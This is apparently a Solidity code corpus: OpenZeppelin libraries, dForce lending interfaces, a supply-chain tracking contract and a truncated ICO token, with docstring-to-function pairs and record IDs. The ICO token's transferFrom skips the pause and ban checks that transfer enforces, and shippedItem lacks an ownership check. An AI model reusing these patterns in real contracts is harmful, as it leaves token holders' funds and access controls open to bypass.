// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @title dForce Lending Protocol's InterestRateModel Interface.
* @author dForce Team.
*/
interface IInterestRateModelInterface {
function isInterestRateModel() external view returns (bool);
/**
* @dev Calculates the current borrow interest rate per block.
* @param cash The total amount of cash the market has.
* @param borrows The total amount of borrows the market has.
* @param reserves The total amnount of reserves the market has.
* @return The borrow rate per block (as a percentage, and scaled by 1e18).
*/
function getBorrowRate(
uint256 cash,
uint256 borrows,
uint256 reserves
) external view returns (uint256);
/**
* @dev Calculates the current supply interest rate per block.
* @param cash The total amount of cash the market has.
* @param borrows The total amount of borrows the market has.
* @param reserves The total amnount of reserves the market has.
* @param reserveRatio The current reserve factor the market has.
* @return The supply rate per block (as a percentage, and scaled by 1e18).
*/
function getSupplyRate(
uint256 cash,
uint256 borrows,
uint256 reserves,
uint256 reserveRatio
) external view returns (uint256);
}
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IControllerAdminInterface {
/// @notice Emitted when an admin supports a market
event MarketAdded(
address iToken,
uint256 collateralFactor,
uint256 borrowFactor,
uint256 supplyCapacity,
uint256 borrowCapacity,
uint256 distributionFactor
);
function _addMarket(
address _iToken,
uint256 _collateralFactor,
uint256 _borrowFactor,
uint256 _supplyCapacity,
uint256 _borrowCapacity,
uint256 _distributionFactor
) external;
/// @notice Emitted when new price oracle is set
event NewPriceOracle(address oldPriceOracle, address newPriceOracle);
function _setPriceOracle(address newOracle) external;
/// @notice Emitted when close factor is changed by admin
event NewCloseFactor(
uint256 oldCloseFactorMantissa,
uint256 newCloseFactorMantissa
);
function _setCloseFactor(uint256 newCloseFactorMantissa) external;
/// @notice Emitted when liquidation incentive is changed by admin
event NewLiquidationIncentive(
uint256 oldLiquidationIncentiveMantissa,
uint256 newLiquidationIncentiveMantissa
);
function _setLiquidationIncentive(uint256 newLiquidationIncentiveMantissa)
external;
/// @notice Emitted when iToken's collateral factor is changed by admin
event NewCollateralFactor(
address iToken,
uint256 oldCollateralFactorMantissa,
uint256 newCollateralFactorMantissa
);
function _setCollateralFactor(
address iToken,
uint256 newCollateralFactorMantissa
) external;
/// @notice Emitted when iToken's borrow factor is changed by admin
event NewBorrowFactor(
address iToken,
uint256 oldBorrowFactorMantissa,
uint256 newBorrowFactorMantissa
);
function _setBorrowFactor(address iToken, uint256 newBorrowFactorMantissa)
external;
/// @notice Emitted when iToken's borrow capacity is changed by admin
event NewBorrowCapacity(
address iToken,
uint256 oldBorrowCapacity,
uint256 newBorrowCapacity
);
function _setBorrowCapacity(address iToken, uint256 newBorrowCapacity)
external;
/// @notice Emitted when iToken's supply capacity is changed by admin
event NewSupplyCapacity(
address iToken,
uint256 oldSupplyCapacity,
uint256 newSupplyCapacity
);
function _setSupplyCapacity(address iToken, uint256 newSupplyCapacity)
external;
/// @notice Emitted when pause guardian is changed by admin
event NewPauseGuardian(address oldPauseGuardian, address newPauseGuardian);
function _setPauseGuardian(address newPauseGuardian) external;
/// @notice Emitted when mint is paused/unpaused by admin or pause guardian
event MintPaused(address iToken, bool paused);
function _setMintPaused(address iToken, bool paused) external;
function _setAllMintPaused(bool paused) external;
/// @notice Emitted when redeem is paused/unpaused by admin or pause guardian
event RedeemPaused(address iToken, bool paused);
function _setRedeemPaused(address iToken, bool paused) external;
function _setAllRedeemPaused(bool paused) external;
/// @notice Emitted when borrow is paused/unpaused by admin or pause guardian
event BorrowPaused(address iToken, bool paused);
function _setBorrowPaused(address iToken, bool paused) external;
function _setAllBorrowPaused(bool paused) external;
/// @notice Emitted when transfer is paused/unpaused by admin or pause guardian
event TransferPaused(bool paused);
function _setTransferPaused(bool paused) external;
/// @notice Emitted when seize is paused/unpaused by admin or pause guardian
event SeizePaused(bool paused);
function _setSeizePaused(bool paused) external;
function _setiTokenPaused(address iToken, bool paused) external;
function _setProtocolPaused(bool paused) external;
event NewRewardDistributor(
address oldRewardDistributor,
address _newRewardDistributor
);
function _setRewardDistributor(address _newRewardDistributor) external;
}
interface IControllerPolicyInterface {
function beforeMint(
address iToken,
address account,
uint256 mintAmount
) external;
function afterMint(
address iToken,
address minter,
uint256 mintAmount,
uint256 mintedAmount
) external;
function beforeRedeem(
address iToken,
address redeemer,
uint256 redeemAmount
) external;
function afterRedeem(
address iToken,
address redeemer,
uint256 redeemAmount,
uint256 redeemedAmount
) external;
function beforeBorrow(
address iToken,
address borrower,
uint256 borrowAmount
) external;
function afterBorrow(
address iToken,
address borrower,
uint256 borrowedAmount
) external;
function beforeRepayBorrow(
address iToken,
address payer,
address borrower,
uint256 repayAmount
) external;
function afterRepayBorrow(
address iToken,
address payer,
address borrower,
uint256 repayAmount
) external;
function beforeLiquidateBorrow(
address iTokenBorrowed,
address iTokenCollateral,
address liquidator,
address borrower,
uint256 repayAmount
) external;
function afterLiquidateBorrow(
address iTokenBorrowed,
address iTokenCollateral,
address liquidator,
address borrower,
uint256 repaidAmount,
uint256 seizedAmount
) external;
function beforeSeize(
address iTokenBorrowed,
address iTokenCollateral,
address liquidator,
address borrower,
uint256 seizeAmount
) external;
function afterSeize(
address iTokenBorrowed,
address iTokenCollateral,
address liquidator,
address borrower,
uint256 seizedAmount
) external;
function beforeTransfer(
address iToken,
address from,
address to,
uint256 amount
) external;
function afterTransfer(
address iToken,
address from,
address to,
uint256 amount
) external;
function beforeFlashloan(
address iToken,
address to,
uint256 amount
) external;
function afterFlashloan(
address iToken,
address to,
uint256 amount
) external;
}
interface IControllerAccountEquityInterface {
function calcAccountEquity(address account)
external
view
returns (
uint256,
uint256,
uint256,
uint256
);
function liquidateCalculateSeizeTokens(
address iTokenBorrowed,
address iTokenCollateral,
uint256 actualRepayAmount
) external view returns (uint256);
}
interface IControllerAccountInterface {
function hasEnteredMarket(address account, address iToken)
external
view
returns (bool);
function getEnteredMarkets(address account)
external
view
returns (address[] memory);
/// @notice Emitted when an account enters a market
event MarketEntered(address iToken, address account);
function enterMarkets(address[] calldata iTokens)
external
returns (bool[] memory);
function enterMarketFromiToken(address _account) external;
/// @notice Emitted when an account exits a market
event MarketExited(address iToken, address account);
function exitMarkets(address[] calldata iTokens)
external
returns (bool[] memory);
/// @notice Emitted when an account add a borrow asset
event BorrowedAdded(address iToken, address account);
/// @notice Emitted when an account remove a borrow asset
event BorrowedRemoved(address iToken, address account);
function hasBorrowed(address account, address iToken)
external
view
returns (bool);
function getBorrowedAssets(address account)
external
view
returns (address[] memory);
}
interface IControllerInterface is
IControllerAdminInterface,
IControllerPolicyInterface,
IControllerAccountEquityInterface,
IControllerAccountInterface
{
/**
* @notice Security checks when updating the comptroller of a market, always expect to return true.
*/
function isController() external view returns (bool);
/**
* @notice Return all of the iTokens
* @return The list of iToken addresses
*/
function getAlliTokens() external view returns (address[] memory);
/**
* @notice Check whether a iToken is listed in controller
* @param _iToken The iToken to check for
* @return true if the iToken is listed otherwise false
*/
function hasiToken(address _iToken) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IRewardDistributor {
function _setRewardToken(address newRewardToken) external;
/// @notice Emitted reward token address is changed by admin
event NewRewardToken(address oldRewardToken, address newRewardToken);
function _addRecipient(address _iToken, uint256 _distributionFactor)
external;
event NewRecipient(address iToken, uint256 distributionFactor);
/// @notice Emitted when mint is paused/unpaused by admin
event Paused(bool paused);
function _pause() external;
function _unpause(uint256 _borrowSpeed, uint256 _supplySpeed) external;
/// @notice Emitted when Global Distribution speed for both supply and borrow are updated
event GlobalDistributionSpeedsUpdated(
uint256 borrowSpeed,
uint256 supplySpeed
);
function _setGlobalDistributionSpeeds(
uint256 borrowSpeed,
uint256 supplySpeed
) external;
/// @notice Emitted when iToken's Distribution speed is updated
event DistributionSpeedsUpdated(
address iToken,
uint256 borrowSpeed,
uint256 supplySpeed
);
function updateDistributionSpeed() external;
/// @notice Emitted when iToken's Distribution factor is changed by admin
event NewDistributionFactor(
address iToken,
uint256 oldDistributionFactorMantissa,
uint256 newDistributionFactorMantissa
);
function _setDistributionFactors(
address[] calldata iToken,
uint256[] calldata distributionFactors
) external;
function updateDistributionState(address _iToken, bool _isBorrow) external;
function updateReward(
address _iToken,
address _account,
bool _isBorrow
) external;
function updateRewardBatch(
address[] memory _holders,
address[] memory _iTokens
) external;
function claimReward(address[] memory _holders, address[] memory _iTokens)
external;
function claimAllReward(address[] memory _holders) external;
/// @notice Emitted when reward of amount is distributed into account
event RewardDistributed(
address iToken,
address account,
uint256 amount,
uint256 accountIndex
);
}
|
Pause/Unpause the reward distribution Admin function _paused whether to pause/unpause the distribution/
|
function _setPaused(bool _paused) internal {
paused = _paused;
emit Paused(_paused);
}
| 1,317,993 |
pragma solidity ^0.5.16;
import './Users.sol';
import './SupplierRole.sol';
import './ManufacturerRole.sol';
import './DistributorRole.sol';
import './RetailerRole.sol';
/*SupplyChain contract stores the core functionality and details
about items being produced, packed and shipped along a SupplyChain. The contract
inherits behaviour from Supplier Role, ManufactureRole, DistrbutorRole and RetailerRole
contracts based on Open Zeppelin's RBAC contracts. */
contract SupplyChain is SupplierRole, ManufacturerRole, DistributorRole, RetailerRole{
// Define the owner of this contract.
address owner;
// Owner of this contract is the address of the deployer of SCs to the network.
constructor() public {
owner = msg.sender;
}
// Define an enum of the various states a product can undergo in the supply chain process.
enum State {
Produced,
Packed,
Shipped,
Received
}
// Define and set the default state of an item added to this contract.
State constant defaultState = State.Produced;
// Define a struct that contains product details, this can be extended to include
// data collected by different Roles in the system, e.g. machine logs.
struct ProductDetails {
uint serial;
uint weight;
uint quantity;
string color;
}
// Define a struct that defines an item. Include a unique identifier - UPC as well
// as addresses of the accounts that can have access to this item to perform manufacturing functions.
struct Item {
uint upc; //Universal Product Code (UPC)
uint batch;
uint price;
address currentOwner;
address manufacturerID;
address distrbutorID;
address retailerID;
State itemState;
bool filled;
}
// Define a public mapping 'items' that maps the UPC to an Item.
mapping(uint => Item) items;
// Define a public mapping 'productDetails' that maps the UPC of an item to its corresponding
// instance of its product details.
mapping(uint => ProductDetails) productDetails;
// Define 4 events with the same 4 enum state values and emit UPC and current time.
event Produced(uint indexed upc, uint256 time);
event Packed(uint indexed upc, uint256 time);
event Shipped(uint indexed upc, uint256 time);
event Received(uint indexed upc, uint256 time);
// Define a modifer that verifies the Caller
modifier verifyCaller (address _address) {
require(msg.sender == _address);
_;
}
// Define a modifier that checks if an item.state of a upc is Produced
modifier produced(uint _upc) {
require(items[_upc].itemState == State.Produced, "Item not yet Produced.");
_;
}
// Define a modifier that checks if an item.state of a upc is Packed
modifier packed(uint _upc) {
require(items[_upc].itemState == State.Packed, "Item not yet Packed.");
_;
}
// Define a modifier that checks if an item.state of a upc is Shipped
modifier shipped(uint _upc) {
require(items[_upc].itemState == State.Shipped, "Item not yet Shipped.");
_;
}
// Define a modifier that checks if an item.state of a upc is Received
modifier received(uint _upc) {
require(items[_upc].itemState == State.Received, "Item not yet Received.");
_;
}
// Define a modifier that checks if a UPC value is already in use.
modifier upcUsed(uint _upc){
require(items[_upc].filled == false, "The UPC entered is already in use.");
_;
}
// Define a modifier that requires only the distribuor address stored in the Item instance
// to have access to a function.
modifier onlyAssociatedDistributor(uint _upc, address _disAddress){
require(items[_upc].distrbutorID == _disAddress, "You are not associated with this product.");
_;
}
// Define a modifier that requires only the retailer address stored in the Item instance
// to have access to a function.
modifier onlyAssociatedRetailer(uint _upc, address _retAddress){
require(items[_upc].retailerID == _retAddress, "You are not associated with this product.");
_;
}
// produceItem function adds a new item instance to the items mapping
function produceItem
(uint _upc,
address _distributorID,
uint _serial,
uint _weight,
uint _quantity,
string memory _color
)
// call modifier to check if upc is already in use.
upcUsed(_upc)
// call modifier in coresponding role contract to check if sender has account type of manufacturer.
onlyManufacturer
public {
// add a new item instance to the items mapping.
items[_upc] = Item({
upc: _upc,
batch: 1,
price: 1,
currentOwner: msg.sender,
manufacturerID: msg.sender,
distrbutorID: _distributorID,
retailerID: address(0),
itemState: State.Produced,
filled: true
});
// add a new instance of product details to the productDetails mapping.
productDetails[_upc] = ProductDetails({
serial: _serial,
weight: _weight,
quantity: _quantity,
color: _color
});
// Emit a Produced event that tells the system the manufacturer has completed its item production.
emit Produced(_upc, now);
}
// function packItem allows only a corresponding distributor to access and changes product state to Packed.
function packItem
(uint _upc)
// check if item state has been changed to Produced before continuing.
produced(_upc)
// check if the account attempting to call this function is of type Distributor.
onlyDistributor
// check if the account attempting to call this function is associated with the item.
onlyAssociatedDistributor(_upc, msg.sender) public {
//Change the current owner address of item to distributor address.
items[_upc].currentOwner = msg.sender;
// update item state to Packed.
items[_upc].itemState = State.Packed;
// Emit a Packed event that tells the system the Distribuor has completed packing of item.
emit Packed(_upc, now);
}
// function shippedItem allows only a corresponding distributor to access and change product state to Shipped.
function shippedItem
(uint _upc,
address _retailerID)
//Check if the item state has been updated to Packed before continuing with shipment.
packed(_upc)
// Check if the account attempting to call this function is of type distribuor.
onlyDistributor public {
// update the item state to Shipped.
items[_upc].itemState = State.Shipped;
// add corresponding retailerID that shipment will be sent to.
items[_upc].retailerID = _retailerID;
//Emit a Shipped event that tells the system the Distibutor has completed shipment of an item.
emit Shipped(_upc, now);
}
// function Received Item allows a corresponding retailer to access and change product state to Received.
function receivedItem(uint _upc)
// check if the item state has been updated to Shipped before continuing with function.
shipped(_upc)
// Check if the account attempting to call this function is of type retailer.
onlyRetailer public{
// update product state to Received.
items[_upc].itemState = State.Received;
// Emit a Received event that tells the system the Retailer has completed the receivement process.
emit Received(_upc, now);
}
// Function returns product details relating to an item UPC.
function getProductDetails(uint _upc) public view returns(uint _serial, uint _weight, uint _quantity, string memory _color, address _owner, State _curState){
return (productDetails[_upc].serial, productDetails[_upc].weight, productDetails[_upc].quantity, productDetails[_upc].color, items[_upc].currentOwner, items[_upc].itemState);
}
// Function checks if an instance of Item with UPC already exists.
function isEntity(uint _upc) public view returns(bool isIndeed){
return items[_upc].filled;
}
// Function returns the current state of an item with UPC value.
function returnUPCStage(uint _key) view public returns (State){
return items[_key].itemState;
}
// Function checks if address of accoutn accessing function is the owner of the contract.
function isOwner(address _address) public view returns(bool){
if(owner == _address){
return true;
}else{
return false;
}
}
// Function returns all product and item details relating to a corresponding UPC value.
function fetchItem(uint _upc) public view returns
(uint upc, uint batch, uint price, address curOwner, address manID, address disID, address retID,
State state, uint serial, uint weight, uint quantity, string memory color){
upc = items[_upc].upc;
batch = items[_upc].batch;
price = items[_upc].price;
curOwner = items[_upc].currentOwner;
manID = items[_upc].manufacturerID;
disID = items[_upc].distrbutorID;
retID = items[_upc].retailerID;
state = items[_upc].itemState;
serial = productDetails[_upc].serial;
weight = productDetails[_upc].weight;
quantity = productDetails[_upc].quantity;
color = productDetails[_upc].color;
return(upc, batch, price, curOwner, manID, disID, retID, state, serial, weight, quantity, color);
}
}
|
function packItem allows only a corresponding distributor to access and changes product state to Packed. check if item state has been changed to Produced before continuing. check if the account attempting to call this function is of type Distributor. check if the account attempting to call this function is associated with the item.Change the current owner address of item to distributor address. update item state to Packed. Emit a Packed event that tells the system the Distribuor has completed packing of item.
|
function packItem
(uint _upc)
produced(_upc)
onlyDistributor
onlyAssociatedDistributor(_upc, msg.sender) public {
items[_upc].currentOwner = msg.sender;
items[_upc].itemState = State.Packed;
emit Packed(_upc, now);
}
| 2,483,071 |
pragma solidity ^0.4.11;
// @title ICO Simple Contract
// @author Harsh Patel
contract SafeMath {
// @notice SafeMath multiply function
// @param a Variable 1
// @param b Variable 2
// @result { "" : "result of safe multiply"}
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// @notice SafeMath divide function
// @param a Variable 1
// @param b Variable 2
// @result { "" : "result of safe multiply"}
function div(uint256 a, uint256 b) internal returns (uint256) {
assert(b > 0);
uint256 c = a / b;
return c;
}
// @notice SafeMath substract function
// @param a Variable 1
// @param b Variable 2
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
// @notice SafeMath addition function
// @param a Variable 1
// @param b Variable 2
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
// @notice SafeMath Power function
// @param a Variable 1
// @param b Variable 2
function pow( uint256 a , uint8 b ) internal returns ( uint256 ){
uint256 c;
c = a ** b;
return c;
}
}
contract owned {
bool public OwnerDefined = false;
address public owner;
event OwnerEvents(address _addr, uint8 action);
// @notice Initializes Owner Contract and set the first Owner
function owned()
internal
{
require(OwnerDefined == false);
owner = msg.sender;
OwnerDefined = true;
OwnerEvents(msg.sender,1);
}
}
contract ERC20Token is owned, SafeMath{
// Token Definitions
bool public tokenState;
string public name = "DropDeck";
string public symbol = "DDD";
uint256 public decimals = 8;
uint256 public totalSupply = 380000000000000000;
address public ico;
bool public blockState = true;
mapping(address => uint256) balances;
mapping(address => bool) public userBanned;
mapping (address => mapping (address => uint256)) allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// @notice Initialize the Token Contract
// @param _name Name of Token
// @param _code Short Code of the Token
// @param _decimals Amount of Decimals for the Token
// @param _netSupply TotalSupply of Tokens
function init()
external
returns ( bool ){
require(tokenState == false);
owned;
tokenState = true;
balances[this] = totalSupply;
allowed[this][owner] = totalSupply;
return true;
}
// @notice Transfers the token
// @param _to Address of reciver
// @param _value Value to be transfered
function transfer(address _to, uint256 _value)
public
returns ( bool ) {
require(tokenState == true);
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(blockState == false);
require(userBanned[msg.sender] == false);
balances[msg.sender] = sub(balances[msg.sender],_value);
balances[_to] = add(balances[_to],_value);
Transfer(msg.sender, _to, _value);
return true;
}
// @notice Transfers the token on behalf of
// @param _from Address of sender
// @param _to Address of reciver
// @param _value Value to be transfered
function transferFrom(address _from, address _to, uint256 _value)
public
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = sub(balances[_from],_value);
balances[_to] = add(balances[_to],_value);
allowed[_from][msg.sender] = sub(allowed[_from][msg.sender],_value);
Transfer(_from, _to, _value);
}
// @notice Transfers the token from owner during the ICO
// @param _to Address of reciver
// @param _value Value to be transfered
function transferICO(address _to, uint256 _value)
public
returns ( bool ) {
require(tokenState == true);
require(_to != address(0));
require(_value <= balances[this]);
require(ico == msg.sender);
balances[this] = sub(balances[this],_value);
balances[_to] = add(balances[_to],_value);
Transfer(this, _to, _value);
return true;
}
// @notice Checks balance of Address
// @param _to Address of token holder
function balanceOf(address _owner)
external
constant
returns (uint256) {
require(tokenState == true);
return balances[_owner];
}
// @notice Approves allowance for token holder
// @param _spender Address of token holder
// @param _value Amount of Token Transfer to approve
function approve(address _spender, uint256 _value)
external
returns (bool success) {
require(tokenState == true);
require(_spender != address(0));
require(msg.sender == owner);
allowed[msg.sender][_spender] = mul(_value, 100000000);
Approval(msg.sender, _spender, _value);
return true;
}
// @notice Fetched Allowance for owner
// @param _spender Address of token holder
// @param _owner Amount of token owner
function allowance(address _owner, address _spender)
external
constant
returns (uint256 remaining) {
require(tokenState == true);
return allowed[_owner][_spender];
}
// @notice Allows enabling of blocking of transfer for all users
function blockTokens()
external
returns (bool) {
require(tokenState == true);
require(msg.sender == owner);
blockState = true;
return true;
}
// @notice Allows enabling of unblocking of transfer for all users
function unblockTokens()
external
returns (bool) {
require(tokenState == true);
require(msg.sender == owner);
blockState = false;
return true;
}
// @notice Bans an Address
function banAddress(address _addr)
external
returns (bool) {
require(tokenState == true);
require(msg.sender == owner);
userBanned[_addr] = true;
return true;
}
// @notice Un-Bans an Address
function unbanAddress(address _addr)
external
returns (bool) {
require(tokenState == true);
require(msg.sender == owner);
userBanned[_addr] = false;
return true;
}
function setICO(address _ico)
external
returns (bool) {
require(tokenState == true);
require(msg.sender == owner);
ico = _ico;
